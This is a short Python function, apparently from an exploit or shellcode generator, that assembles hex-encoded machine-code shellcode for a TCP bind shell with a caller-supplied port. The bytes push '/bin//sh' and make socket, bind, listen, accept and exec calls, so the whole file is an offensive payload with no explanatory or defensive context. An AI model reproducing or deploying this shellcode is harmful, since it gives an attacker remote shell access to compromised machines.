def tcp_bind( PORT):
	shellcode =  r"\x68\xff\xd8\xff\x3c\x6a\x65\x89\xe6\xf7\x56\x04\xf6\x16"
	shellcode += r"\x31\xc0\x50\x68\xff\x02"
	shellcode += PORT
	shellcode += r"\x89\xe7\x6a\x02\x50\x50"
	shellcode += r"\x6a\x02\x6a\x02\xb0\xe6\xff\xd6\x6a\x10\x57\x50\x31\xc0"
	shellcode += r"\xb0\xe8\xff\xd6\x5b\x50\x50\x53\xb0\xe9\xff\xd6\xb0\xea"
	shellcode += r"\xff\xd6\x6a\x09\x50\x6a\x3e\x58\xff\xd6\xff\x4f\xd8\x79"
	shellcode += r"\xf6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
	shellcode += r"\x50\x53\x89\xe1\x50\x51\x53\xb0\x3b\xff\xd6"
	return shellcode